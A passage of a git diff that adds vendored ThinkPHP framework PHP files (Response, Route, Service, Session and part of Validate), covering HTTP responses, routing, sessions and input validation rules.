+ */ + protected function init($data = '', int $code = 200) + { + $this->data($data); + $this->code = $code; + + $this->contentType($this->contentType, $this->charset); + } + + /** + * 创建Response对象 + * @access public + * @param mixed $data 输出数据 + * @param string $type 输出类型 + * @param int $code 状态码 + * @return Response + */ + public static function create($data = '', string $type = 'html', int $code = 200): Response + { + $class = false !== strpos($type, '\\') ? $type : '\\think\\response\\' . ucfirst(strtolower($type)); + + return Container::getInstance()->invokeClass($class, [$data, $code]); + } + + /** + * 设置Session对象 + * @access public + * @param Session $session Session对象 + * @return $this + */ + public function setSession(Session $session) + { + $this->session = $session; + return $this; + } + + /** + * 发送数据到客户端 + * @access public + * @return void + * @throws \InvalidArgumentException + */ + public function send(): void + { + // 处理输出数据 + $data = $this->getContent(); + + if (!headers_sent() && !empty($this->header)) { + // 发送状态码 + http_response_code($this->code); + // 发送头部信息 + foreach ($this->header as $name => $val) { + header($name . (!is_null($val) ? ':' . $val : '')); + } + } + if ($this->cookie) { + $this->cookie->save(); + } + + $this->sendData($data); + + if (function_exists('fastcgi_finish_request')) { + // 提高页面响应 + fastcgi_finish_request(); + } + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return mixed + */ + protected function output($data) + { + return $data; + } + + /** + * 输出数据 + * @access protected + * @param string $data 要处理的数据 + * @return void + */ + protected function sendData(string $data): void + { + echo $data; + } + + /** + * 输出的参数 + * @access public + * @param mixed $options 输出参数 + * @return $this + */ + public function options(array $options = []) + { + $this->options = array_merge($this->options, $options); + + return $this; + } + + /** + * 输出数据设置 + * @access public + * @param mixed $data 输出数据 + * @return $this + */ + public function data($data) + { + $this->data = $data; + + return $this; + } + + /** + * 是否允许请求缓存 + * @access public + * @param bool $cache 允许请求缓存 + * @return $this + */ + public function allowCache(bool $cache) + { + $this->allowCache = $cache; + + return $this; + } + + /** + * 是否允许请求缓存 + * @access public + * @return $this + */ + public function isAllowCache() + { + return $this->allowCache; + } + + /** + * 设置Cookie + * @access public + * @param string $name cookie名称 + * @param string $value cookie值 + * @param mixed $option 可选参数 + * @return $this + */ + public function cookie(string $name, string $value, $option = null) + { + $this->cookie->set($name, $value, $option); + + return $this; + } + + /** + * 设置响应头 + * @access public + * @param array $header 参数 + * @return $this + */ + public function header(array $header = []) + { + $this->header = array_merge($this->header, $header); + + return $this; + } + + /** + * 设置页面输出内容 + * @access public + * @param mixed $content + * @return $this + */ + public function content($content) + { + if (null !== $content && !is_string($content) && !is_numeric($content) && !is_callable([ + $content, + '__toString', + ]) + ) { + throw new \InvalidArgumentException(sprintf('variable type error: %s', gettype($content))); + } + + $this->content = (string) $content; + + return $this; + } + + /** + * 发送HTTP状态 + * @access public + * @param integer $code 状态码 + * @return $this + */ + public function code(int $code) + { + $this->code = $code; + + return $this; + } + + /** + * LastModified + * @access public + * @param string $time + * @return $this + */ + public function lastModified(string $time) + { + $this->header['Last-Modified'] = $time; + + return $this; + } + + /** + * Expires + * @access public + * @param string $time + * @return $this + */ + public function expires(string $time) + { + $this->header['Expires'] = $time; + + return $this; + } + + /** + * ETag + * @access public + * @param string $eTag + * @return $this + */ + public function eTag(string $eTag) + { + $this->header['ETag'] = $eTag; + + return $this; + } + + /** + * 页面缓存控制 + * @access public + * @param string $cache 状态码 + * @return $this + */ + public function cacheControl(string $cache) + { + $this->header['Cache-control'] = $cache; + + return $this; + } + + /** + * 页面输出类型 + * @access public + * @param string $contentType 输出类型 + * @param string $charset 输出编码 + * @return $this + */ + public function contentType(string $contentType, string $charset = 'utf-8') + { + $this->header['Content-Type'] = $contentType . '; charset=' . $charset; + + return $this; + } + + /** + * 获取头部信息 + * @access public + * @param string $name 头部名称 + * @return mixed + */ + public function getHeader(string $name = '') + { + if (!empty($name)) { + return $this->header[$name] ?? null; + } + + return $this->header; + } + + /** + * 获取原始数据 + * @access public + * @return mixed + */ + public function getData() + { + return $this->data; + } + + /** + * 获取输出数据 + * @access public + * @return string + */ + public function getContent(): string + { + if (null == $this->content) { + $content = $this->output($this->data); + + if (null !== $content && !is_string($content) && !is_numeric($content) && !is_callable([ + $content, + '__toString', + ]) + ) { + throw new \InvalidArgumentException(sprintf('variable type error: %s', gettype($content))); + } + + $this->content = (string) $content; + } + + return $this->content; + } + + /** + * 获取状态码 + * @access public + * @return integer + */ + public function getCode(): int + { + return $this->code; + } +} diff --git a/vendor/topthink/framework/src/think/Route.php b/vendor/topthink/framework/src/think/Route.php new file mode 100644 index 0000000..5e2881b --- /dev/null +++ b/vendor/topthink/framework/src/think/Route.php @@ -0,0 +1,926 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Closure; +use think\exception\RouteNotFoundException; +use think\route\Dispatch; +use think\route\dispatch\Callback; +use think\route\dispatch\Url as UrlDispatch; +use think\route\Domain; +use think\route\Resource; +use think\route\Rule; +use think\route\RuleGroup; +use think\route\RuleItem; +use think\route\RuleName; +use think\route\Url as UrlBuild; + +/** + * 路由管理类 + * @package think + */ +class Route +{ + /** + * REST定义 + * @var array + */ + protected $rest = [ + 'index' => ['get', '', 'index'], + 'create' => ['get', '/create', 'create'], + 'edit' => ['get', '//edit', 'edit'], + 'read' => ['get', '/', 'read'], + 'save' => ['post', '', 'save'], + 'update' => ['put', '/', 'update'], + 'delete' => ['delete', '/', 'delete'], + ]; + + /** + * 配置参数 + * @var array + */ + protected $config = [ + // pathinfo分隔符 + 'pathinfo_depr' => '/', + // 是否开启路由延迟解析 + 'url_lazy_route' => false, + // 是否强制使用路由 + 'url_route_must' => false, + // 合并路由规则 + 'route_rule_merge' => false, + // 路由是否完全匹配 + 'route_complete_match' => false, + // 去除斜杠 + 'remove_slash' => false, + // 使用注解路由 + 'route_annotation' => false, + // 默认的路由变量规则 + 'default_route_pattern' => '[\w\.]+', + // URL伪静态后缀 + 'url_html_suffix' => 'html', + // 访问控制器层名称 + 'controller_layer' => 'controller', + // 空控制器名 + 'empty_controller' => 'Error', + // 是否使用控制器后缀 + 'controller_suffix' => false, + // 默认控制器名 + 'default_controller' => 'Index', + // 默认操作名 + 'default_action' => 'index', + // 操作方法后缀 + 'action_suffix' => '', + // 非路由变量是否使用普通参数方式(用于URL生成) + 'url_common_param' => true, + ]; + + /** + * 当前应用 + * @var App + */ + protected $app; + + /** + * 请求对象 + * @var Request + */ + protected $request; + + /** + * @var RuleName + */ + protected $ruleName; + + /** + * 当前HOST + * @var string + */ + protected $host; + + /** + * 当前分组对象 + * @var RuleGroup + */ + protected $group; + + /** + * 路由绑定 + * @var array + */ + protected $bind = []; + + /** + * 域名对象 + * @var Domain[] + */ + protected $domains = []; + + /** + * 跨域路由规则 + * @var RuleGroup + */ + protected $cross; + + /** + * 路由是否延迟解析 + * @var bool + */ + protected $lazy = false; + + /** + * 路由是否测试模式 + * @var bool + */ + protected $isTest = false; + + /** + * (分组)路由规则是否合并解析 + * @var bool + */ + protected $mergeRuleRegex = false; + + /** + * 是否去除URL最后的斜线 + * @var bool + */ + protected $removeSlash = false; + + public function __construct(App $app) + { + $this->app = $app; + $this->ruleName = new RuleName(); + $this->setDefaultDomain(); + + if (is_file($this->app->getRuntimePath() . 'route.php')) { + // 读取路由映射文件 + $this->import(include $this->app->getRuntimePath() . 'route.php'); + } + + $this->config = array_merge($this->config, $this->app->config->get('route')); + } + + protected function init() + { + if (!empty($this->config['middleware'])) { + $this->app->middleware->import($this->config['middleware'], 'route'); + } + + $this->lazy($this->config['url_lazy_route']); + $this->mergeRuleRegex = $this->config['route_rule_merge']; + $this->removeSlash = $this->config['remove_slash']; + + $this->group->removeSlash($this->removeSlash); + } + + public function config(string $name = null) + { + if (is_null($name)) { + return $this->config; + } + + return $this->config[$name] ?? null; + } + + /** + * 设置路由域名及分组(包括资源路由)是否延迟解析 + * @access public + * @param bool $lazy 路由是否延迟解析 + * @return $this + */ + public function lazy(bool $lazy = true) + { + $this->lazy = $lazy; + return $this; + } + + /** + * 设置路由为测试模式 + * @access public + * @param bool $test 路由是否测试模式 + * @return void + */ + public function setTestMode(bool $test): void + { + $this->isTest = $test; + } + + /** + * 检查路由是否为测试模式 + * @access public + * @return bool + */ + public function isTest(): bool + { + return $this->isTest; + } + + /** + * 设置路由域名及分组(包括资源路由)是否合并解析 + * @access public + * @param bool $merge 路由是否合并解析 + * @return $this + */ + public function mergeRuleRegex(bool $merge = true) + { + $this->mergeRuleRegex = $merge; + $this->group->mergeRuleRegex($merge); + + return $this; + } + + /** + * 初始化默认域名 + * @access protected + * @return void + */ + protected function setDefaultDomain(): void + { + // 注册默认域名 + $domain = new Domain($this); + + $this->domains['-'] = $domain; + + // 默认分组 + $this->group = $domain; + } + + /** + * 设置当前分组 + * @access public + * @param RuleGroup $group 域名 + * @return void + */ + public function setGroup(RuleGroup $group): void + { + $this->group = $group; + } + + /** + * 获取指定标识的路由分组 不指定则获取当前分组 + * @access public + * @param string $name 分组标识 + * @return RuleGroup + */ + public function getGroup(string $name = null) + { + return $name ? $this->ruleName->getGroup($name) : $this->group; + } + + /** + * 注册变量规则 + * @access public + * @param array $pattern 变量规则 + * @return $this + */ + public function pattern(array $pattern) + { + $this->group->pattern($pattern); + + return $this; + } + + /** + * 注册路由参数 + * @access public + * @param array $option 参数 + * @return $this + */ + public function option(array $option) + { + $this->group->option($option); + + return $this; + } + + /** + * 注册域名路由 + * @access public + * @param string|array $name 子域名 + * @param mixed $rule 路由规则 + * @return Domain + */ + public function domain($name, $rule = null): Domain + { + // 支持多个域名使用相同路由规则 + $domainName = is_array($name) ? array_shift($name) : $name; + + if (!isset($this->domains[$domainName])) { + $domain = (new Domain($this, $domainName, $rule)) + ->lazy($this->lazy) + ->removeSlash($this->removeSlash) + ->mergeRuleRegex($this->mergeRuleRegex); + + $this->domains[$domainName] = $domain; + } else { + $domain = $this->domains[$domainName]; + $domain->parseGroupRule($rule); + } + + if (is_array($name) && !empty($name)) { + foreach ($name as $item) { + $this->domains[$item] = $domainName; + } + } + + // 返回域名对象 + return $domain; + } + + /** + * 获取域名 + * @access public + * @return array + */ + public function getDomains(): array + { + return $this->domains; + } + + /** + * 获取RuleName对象 + * @access public + * @return RuleName + */ + public function getRuleName(): RuleName + { + return $this->ruleName; + } + + /** + * 设置路由绑定 + * @access public + * @param string $bind 绑定信息 + * @param string $domain 域名 + * @return $this + */ + public function bind(string $bind, string $domain = null) + { + $domain = is_null($domain) ? '-' : $domain; + + $this->bind[$domain] = $bind; + + return $this; + } + + /** + * 读取路由绑定信息 + * @access public + * @return array + */ + public function getBind(): array + { + return $this->bind; + } + + /** + * 读取路由绑定 + * @access public + * @param string $domain 域名 + * @return string|null + */ + public function getDomainBind(string $domain = null) + { + if (is_null($domain)) { + $domain = $this->host; + } elseif (false === strpos($domain, '.') && $this->request) { + $domain .= '.' . $this->request->rootDomain(); + } + + if ($this->request) { + $subDomain = $this->request->subDomain(); + + if (strpos($subDomain, '.')) { + $name = '*' . strstr($subDomain, '.'); + } + } + + if (isset($this->bind[$domain])) { + $result = $this->bind[$domain]; + } elseif (isset($name) && isset($this->bind[$name])) { + $result = $this->bind[$name]; + } elseif (!empty($subDomain) && isset($this->bind['*'])) { + $result = $this->bind['*']; + } else { + $result = null; + } + + return $result; + } + + /** + * 读取路由标识 + * @access public + * @param string $name 路由标识 + * @param string $domain 域名 + * @param string $method 请求类型 + * @return array + */ + public function getName(string $name = null, string $domain = null, string $method = '*'): array + { + return $this->ruleName->getName($name, $domain, $method); + } + + /** + * 批量导入路由标识 + * @access public + * @param array $name 路由标识 + * @return void + */ + public function import(array $name): void + { + $this->ruleName->import($name); + } + + /** + * 注册路由标识 + * @access public + * @param string $name 路由标识 + * @param RuleItem $ruleItem 路由规则 + * @param bool $first 是否优先 + * @return void + */ + public function setName(string $name, RuleItem $ruleItem, bool $first = false): void + { + $this->ruleName->setName($name, $ruleItem, $first); + } + + /** + * 保存路由规则 + * @access public + * @param string $rule 路由规则 + * @param RuleItem $ruleItem RuleItem对象 + * @return void + */ + public function setRule(string $rule, RuleItem $ruleItem = null): void + { + $this->ruleName->setRule($rule, $ruleItem); + } + + /** + * 读取路由 + * @access public + * @param string $rule 路由规则 + * @return RuleItem[] + */ + public function getRule(string $rule): array + { + return $this->ruleName->getRule($rule); + } + + /** + * 读取路由列表 + * @access public + * @return array + */ + public function getRuleList(): array + { + return $this->ruleName->getRuleList(); + } + + /** + * 清空路由规则 + * @access public + * @return void + */ + public function clear(): void + { + $this->ruleName->clear(); + + if ($this->group) { + $this->group->clear(); + } + } + + /** + * 注册路由规则 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @param string $method 请求类型 + * @return RuleItem + */ + public function rule(string $rule, $route = null, string $method = '*'): RuleItem + { + if ($route instanceof Response) { + // 兼容之前的路由到响应对象,感觉不需要,使用场景很少,闭包就能实现 + $route = function () use ($route) { + return $route; + }; + } + return $this->group->addRule($rule, $route, $method); + } + + /** + * 设置跨域有效路由规则 + * @access public + * @param Rule $rule 路由规则 + * @param string $method 请求类型 + * @return $this + */ + public function setCrossDomainRule(Rule $rule, string $method = '*') + { + if (!isset($this->cross)) { + $this->cross = (new RuleGroup($this))->mergeRuleRegex($this->mergeRuleRegex); + } + + $this->cross->addRuleItem($rule, $method); + + return $this; + } + + /** + * 注册路由分组 + * @access public + * @param string|\Closure $name 分组名称或者参数 + * @param mixed $route 分组路由 + * @return RuleGroup + */ + public function group($name, $route = null): RuleGroup + { + if ($name instanceof Closure) { + $route = $name; + $name = ''; + } + + return (new RuleGroup($this, $this->group, $name, $route)) + ->lazy($this->lazy) + ->removeSlash($this->removeSlash) + ->mergeRuleRegex($this->mergeRuleRegex); + } + + /** + * 注册路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function any(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, '*'); + } + + /** + * 注册GET路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function get(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'GET'); + } + + /** + * 注册POST路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function post(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'POST'); + } + + /** + * 注册PUT路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function put(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'PUT'); + } + + /** + * 注册DELETE路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function delete(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'DELETE'); + } + + /** + * 注册PATCH路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function patch(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'PATCH'); + } + + /** + * 注册OPTIONS路由 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @return RuleItem + */ + public function options(string $rule, $route): RuleItem + { + return $this->rule($rule, $route, 'OPTIONS'); + } + + /** + * 注册资源路由 + * @access public + * @param string $rule 路由规则 + * @param string $route 路由地址 + * @return Resource + */ + public function resource(string $rule, string $route): Resource + { + return (new Resource($this, $this->group, $rule, $route, $this->rest)) + ->lazy($this->lazy); + } + + /** + * 注册视图路由 + * @access public + * @param string $rule 路由规则 + * @param string $template 路由模板地址 + * @param array $vars 模板变量 + * @return RuleItem + */ + public function view(string $rule, string $template = '', array $vars = []): RuleItem + { + return $this->rule($rule, function () use ($vars, $template) { + return Response::create($template, 'view')->assign($vars); + }, 'GET'); + } + + /** + * 注册重定向路由 + * @access public + * @param string $rule 路由规则 + * @param string $route 路由地址 + * @param int $status 状态码 + * @return RuleItem + */ + public function redirect(string $rule, string $route = '', int $status = 301): RuleItem + { + return $this->rule($rule, function (Request $request) use ($status, $route) { + $search = $replace = []; + $matches = $request->rule()->getVars(); + + foreach ($matches as $key => $value) { + $search[] = '<' . $key . '>'; + $replace[] = $value; + + $search[] = ':' . $key; + $replace[] = $value; + } + + $route = str_replace($search, $replace, $route); + return Response::create($route, 'redirect')->code($status); + }, '*'); + } + + /** + * rest方法定义和修改 + * @access public + * @param string|array $name 方法名称 + * @param array|bool $resource 资源 + * @return $this + */ + public function rest($name, $resource = []) + { + if (is_array($name)) { + $this->rest = $resource ? $name : array_merge($this->rest, $name); + } else { + $this->rest[$name] = $resource; + } + + return $this; + } + + /** + * 获取rest方法定义的参数 + * @access public + * @param string $name 方法名称 + * @return array|null + */ + public function getRest(string $name = null) + { + if (is_null($name)) { + return $this->rest; + } + + return $this->rest[$name] ?? null; + } + + /** + * 注册未匹配路由规则后的处理 + * @access public + * @param string|Closure $route 路由地址 + * @param string $method 请求类型 + * @return RuleItem + */ + public function miss($route, string $method = '*'): RuleItem + { + return $this->group->miss($route, $method); + } + + /** + * 路由调度 + * @param Request $request + * @param Closure|bool $withRoute + * @return Response + */ + public function dispatch(Request $request, $withRoute = true) + { + $this->request = $request; + $this->host = $this->request->host(true); + $this->init(); + + if ($withRoute) { + //加载路由 + if ($withRoute instanceof Closure) { + $withRoute(); + } + $dispatch = $this->check(); + } else { + $dispatch = $this->url($this->path()); + } + + $dispatch->init($this->app); + + return $this->app->middleware->pipeline('route') + ->send($request) + ->then(function () use ($dispatch) { + return $dispatch->run(); + }); + } + + /** + * 检测URL路由 + * @access public + * @return Dispatch|false + * @throws RouteNotFoundException + */ + public function check() + { + // 自动检测域名路由 + $url = str_replace($this->config['pathinfo_depr'], '|', $this->path()); + + $completeMatch = $this->config['route_complete_match']; + + $result = $this->checkDomain()->check($this->request, $url, $completeMatch); + + if (false === $result && !empty($this->cross)) { + // 检测跨域路由 + $result = $this->cross->check($this->request, $url, $completeMatch); + } + + if (false !== $result) { + return $result; + } elseif ($this->config['url_route_must']) { + throw new RouteNotFoundException(); + } + + return $this->url($url); + } + + /** + * 获取当前请求URL的pathinfo信息(不含URL后缀) + * @access protected + * @return string + */ + protected function path(): string + { + $suffix = $this->config['url_html_suffix']; + $pathinfo = $this->request->pathinfo(); + + if (false === $suffix) { + // 禁止伪静态访问 + $path = $pathinfo; + } elseif ($suffix) { + // 去除正常的URL后缀 + $path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); + } else { + // 允许任何后缀访问 + $path = preg_replace('/\.' . $this->request->ext() . '$/i', '', $pathinfo); + } + + return $path; + } + + /** + * 默认URL解析 + * @access public + * @param string $url URL地址 + * @return Dispatch + */ + public function url(string $url): Dispatch + { + if ($this->request->method() == 'OPTIONS') { + // 自动响应options请求 + return new Callback($this->request, $this->group, function () { + return Response::create('', 'html', 204)->header(['Allow' => 'GET, POST, PUT, DELETE']); + }); + } + + return new UrlDispatch($this->request, $this->group, $url); + } + + /** + * 检测域名的路由规则 + * @access protected + * @return Domain + */ + protected function checkDomain(): Domain + { + $item = false; + + if (count($this->domains) > 1) { + // 获取当前子域名 + $subDomain = $this->request->subDomain(); + + $domain = $subDomain ? explode('.', $subDomain) : []; + $domain2 = $domain ? array_pop($domain) : ''; + + if ($domain) { + // 存在三级域名 + $domain3 = array_pop($domain); + } + + if (isset($this->domains[$this->host])) { + // 子域名配置 + $item = $this->domains[$this->host]; + } elseif (isset($this->domains[$subDomain])) { + $item = $this->domains[$subDomain]; + } elseif (isset($this->domains['*.' . $domain2]) && !empty($domain3)) { + // 泛三级域名 + $item = $this->domains['*.' . $domain2]; + $panDomain = $domain3; + } elseif (isset($this->domains['*']) && !empty($domain2)) { + // 泛二级域名 + if ('www' != $domain2) { + $item = $this->domains['*']; + $panDomain = $domain2; + } + } + + if (isset($panDomain)) { + // 保存当前泛域名 + $this->request->setPanDomain($panDomain); + } + } + + if (false === $item) { + // 检测全局域名规则 + $item = $this->domains['-']; + } + + if (is_string($item)) { + $item = $this->domains[$item]; + } + + return $item; + } + + /** + * URL生成 支持路由反射 + * @access public + * @param string $url 路由地址 + * @param array $vars 参数 ['a'=>'val1', 'b'=>'val2'] + * @return UrlBuild + */ + public function buildUrl(string $url = '', array $vars = []): UrlBuild + { + return $this->app->make(UrlBuild::class, [$this, $this->app, $url, $vars], true); + } + + /** + * 设置全局的路由分组参数 + * @access public + * @param string $method 方法名 + * @param array $args 调用参数 + * @return RuleGroup + */ + public function __call($method, $args) + { + return call_user_func_array([$this->group, $method], $args); + } +} diff --git a/vendor/topthink/framework/src/think/Service.php b/vendor/topthink/framework/src/think/Service.php new file mode 100644 index 0000000..68c6789 --- /dev/null +++ b/vendor/topthink/framework/src/think/Service.php @@ -0,0 +1,66 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Closure; +use think\event\RouteLoaded; + +/** + * 系统服务基础类 + * @method void register() + * @method void boot() + */ +abstract class Service +{ + protected $app; + + public function __construct(App $app) + { + $this->app = $app; + } + + /** + * 加载路由 + * @access protected + * @param string $path 路由路径 + */ + protected function loadRoutesFrom($path) + { + $this->registerRoutes(function () use ($path) { + include $path; + }); + } + + /** + * 注册路由 + * @param Closure $closure + */ + protected function registerRoutes(Closure $closure) + { + $this->app->event->listen(RouteLoaded::class, $closure); + } + + /** + * 添加指令 + * @access protected + * @param array|string $commands 指令 + */ + protected function commands($commands) + { + $commands = is_array($commands) ? $commands : func_get_args(); + + Console::starting(function (Console $console) use ($commands) { + $console->addCommands($commands); + }); + } +} diff --git a/vendor/topthink/framework/src/think/Session.php b/vendor/topthink/framework/src/think/Session.php new file mode 100644 index 0000000..c344f0b --- /dev/null +++ b/vendor/topthink/framework/src/think/Session.php @@ -0,0 +1,65 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use think\helper\Arr; +use think\session\Store; + +/** + * Session管理类 + * @package think + * @mixin Store + */ +class Session extends Manager +{ + protected $namespace = '\\think\\session\\driver\\'; + + protected function createDriver(string $name) + { + $handler = parent::createDriver($name); + + return new Store($this->getConfig('name') ?: 'PHPSESSID', $handler, $this->getConfig('serialize')); + } + + /** + * 获取Session配置 + * @access public + * @param null|string $name 名称 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = null, $default = null) + { + if (!is_null($name)) { + return $this->app->config->get('session.' . $name, $default); + } + + return $this->app->config->get('session'); + } + + protected function resolveConfig(string $name) + { + $config = $this->app->config->get('session', []); + Arr::forget($config, 'type'); + return $config; + } + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->app->config->get('session.type', 'file'); + } +} diff --git a/vendor/topthink/framework/src/think/Validate.php b/vendor/topthink/framework/src/think/Validate.php new file mode 100644 index 0000000..10428c6 --- /dev/null +++ b/vendor/topthink/framework/src/think/Validate.php @@ -0,0 +1,1683 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Closure; +use think\exception\ValidateException; +use think\helper\Str; +use think\validate\ValidateRule; + +/** + * 数据验证类 + * @package think + */ +class Validate +{ + /** + * 自定义验证类型 + * @var array + */ + protected $type = []; + + /** + * 验证类型别名 + * @var array + */ + protected $alias = [ + '>' => 'gt', '>=' => 'egt', '<' => 'lt', '<=' => 'elt', '=' => 'eq', 'same' => 'eq', + ]; + + /** + * 当前验证规则 + * @var array + */ + protected $rule = []; + + /** + * 验证提示信息 + * @var array + */ + protected $message = []; + + /** + * 验证字段描述 + * @var array + */ + protected $field = []; + + /** + * 默认规则提示 + * @var array + */ + protected $typeMsg = [ + 'require' => ':attribute require', + 'must' => ':attribute must', + 'number' => ':attribute must be numeric', + 'integer' => ':attribute must be integer', + 'float' => ':attribute must be float', + 'boolean' => ':attribute must be bool', + 'email' => ':attribute not a valid email address', + 'mobile' => ':attribute not a valid mobile', + 'array' => ':attribute must be a array', + 'accepted' => ':attribute must be yes,on or 1', + 'date' => ':attribute not a valid datetime', + 'file' => ':attribute not a valid file', + 'image' => ':attribute not a valid image', + 'alpha' => ':attribute must be alpha', + 'alphaNum' => ':attribute must be alpha-numeric', + 'alphaDash' => ':attribute must be alpha-numeric, dash, underscore', + 'activeUrl' => ':attribute not a valid domain or ip', + 'chs' => ':attribute must be chinese', + 'chsAlpha' => ':attribute must be chinese or alpha', + 'chsAlphaNum' => ':attribute must be chinese,alpha-numeric', + 'chsDash' => ':attribute must be chinese,alpha-numeric,underscore, dash', + 'url' => ':attribute not a valid url', + 'ip' => ':attribute not a valid ip', + 'dateFormat' => ':attribute must be dateFormat of :rule', + 'in' => ':attribute must be in :rule', + 'notIn' => ':attribute be notin :rule', + 'between' => ':attribute must between :1 - :2', + 'notBetween' => ':attribute not between :1 - :2', + 'length' => 'size of :attribute must be :rule', + 'max' => 'max size of :attribute must be :rule', + 'min' => 'min size of :attribute must be :rule', + 'after' => ':attribute cannot be less than :rule', + 'before' => ':attribute cannot exceed :rule', + 'expire' => ':attribute not within :rule', + 'allowIp' => 'access IP is not allowed', + 'denyIp' => 'access IP denied', + 'confirm' => ':attribute out of accord with :2', + 'different' => ':attribute cannot be same with :2', + 'egt' => ':attribute must greater than or equal :rule', + 'gt' => ':attribute must greater than :rule', + 'elt' => ':attribute must less than or equal :rule', + 'lt' => ':attribute must less than :rule', + 'eq' => ':attribute must equal :rule', + 'unique' => ':attribute has exists', + 'regex' => ':attribute not conform to the rules', + 'method' => 'invalid Request method', + 'token' => 'invalid token', + 'fileSize' => 'filesize not match', + 'fileExt' => 'extensions to upload is not allowed', + 'fileMime' => 'mimetype to upload is not allowed', + ]; + + /** + * 当前验证场景 + * @var string + */ + protected $currentScene; + + /** + * 内置正则验证规则 + * @var array + */ + protected $defaultRegex = [ + 'alpha' => '/^[A-Za-z]+$/', + 'alphaNum' => '/^[A-Za-z0-9]+$/', + 'alphaDash' => '/^[A-Za-z0-9\-\_]+$/', + 'chs' => '/^[\x{4e00}-\x{9fa5}]+$/u', + 'chsAlpha' => '/^[\x{4e00}-\x{9fa5}a-zA-Z]+$/u', + 'chsAlphaNum' => '/^[\x{4e00}-\x{9fa5}a-zA-Z0-9]+$/u', + 'chsDash' => '/^[\x{4e00}-\x{9fa5}a-zA-Z0-9\_\-]+$/u', + 'mobile' => '/^1[3-9]\d{9}$/', + 'idCard' => '/(^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$)|(^[1-9]\d{5}\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}$)/', + 'zip' => '/\d{6}/', + ]; + + /** + * Filter_var 规则 + * @var array + */ + protected $filter = [ + 'email' => FILTER_VALIDATE_EMAIL, + 'ip' => [FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6], + 'integer' => FILTER_VALIDATE_INT, + 'url' => FILTER_VALIDATE_URL, + 'macAddr' => FILTER_VALIDATE_MAC, + 'float' => FILTER_VALIDATE_FLOAT, + ]; + + /** + * 验证场景定义 + * @var array + */ + protected $scene = []; + + /** + * 验证失败错误信息 + * @var string|array + */ + protected $error = []; + + /** + * 是否批量验证 + * @var bool + */ + protected $batch = false; + + /** + * 验证失败是否抛出异常 + * @var bool + */ + protected $failException = false; + + /** + * 场景需要验证的规则 + * @var array + */ + protected $only = []; + + /** + * 场景需要移除的验证规则 + * @var array + */ + protected $remove = []; + + /** + * 场景需要追加的验证规则 + * @var array + */ + protected $append = []; + + /** + * 验证正则定义 + * @var array + */ + protected $regex = []; + + /** + * Db对象 + * @var Db + */ + protected $db; + + /** + * 语言对象 + * @var Lang + */ + protected $lang; + + /** + * 请求对象 + * @var Request + */ + protected $request; + + /** + * @var Closure[] + */ + protected static $maker = []; + + /** + * 构造方法 + * @access public + */ + public function __construct() + { + if (!empty(static::$maker)) { + foreach (static::$maker as $maker) { + call_user_func($maker, $this); + } + } + } + + /** + * 设置服务注入 + * @access public + * @param Closure $maker + * @return void + */ + public static function maker(Closure $maker) + { + static::$maker[] = $maker; + } + + /** + * 设置Lang对象 + * @access public + * @param Lang $lang Lang对象 + * @return void + */ + public function setLang(Lang $lang) + { + $this->lang = $lang; + } + + /** + * 设置Db对象 + * @access public + * @param Db $db Db对象 + * @return void + */ + public function setDb(Db $db) + { + $this->db = $db; + } + + /** + * 设置Request对象 + * @access public + * @param Request $request Request对象 + * @return void + */ + public function setRequest(Request $request) + { + $this->request = $request; + } + + /** + * 添加字段验证规则 + * @access protected + * @param string|array $name 字段名称或者规则数组 + * @param mixed $rule 验证规则或者字段描述信息 + * @return $this + */ + public function rule($name, $rule = '') + { + if (is_array($name)) { + $this->rule = $name + $this->rule; + if (is_array($rule)) { + $this->field = array_merge($this->field, $rule); + } + } else { + $this->rule[$name] = $rule; + } + + return $this; + } + + /** + * 注册验证(类型)规则 + * @access public + * @param string $type 验证规则类型 + * @param callable $callback callback方法(或闭包) + * @param string $message 验证失败提示信息 + * @return $this + */ + public function extend(string $type, callable $callback = null, string $message = null) + { + $this->type[$type] = $callback; + + if ($message) { + $this->typeMsg[$type] = $message; + } + + return $this; + } + + /** + * 设置验证规则的默认提示信息 + * @access public + * @param string|array $type 验证规则类型名称或者数组 + * @param string $msg 验证提示信息 + * @return void + */ + public function setTypeMsg($type, string $msg = null): void + { + if (is_array($type)) { + $this->typeMsg = array_merge($this->typeMsg, $type); + } else { + $this->typeMsg[$type] = $msg; + } + } + + /** + * 设置提示信息 + * @access public + * @param array $message 错误信息 + * @return Validate + */ + public function message(array $message) + { + $this->message = array_merge($this->message, $message); + + return $this; + } + + /** + * 设置验证场景 + * @access public + * @param string $name 场景名 + * @return $this + */ + public function scene(string $name) + { + // 设置当前场景 + $this->currentScene = $name; + + return $this; + } + + /** + * 判断是否存在某个验证场景 + * @access public + * @param string $name 场景名 + * @return bool 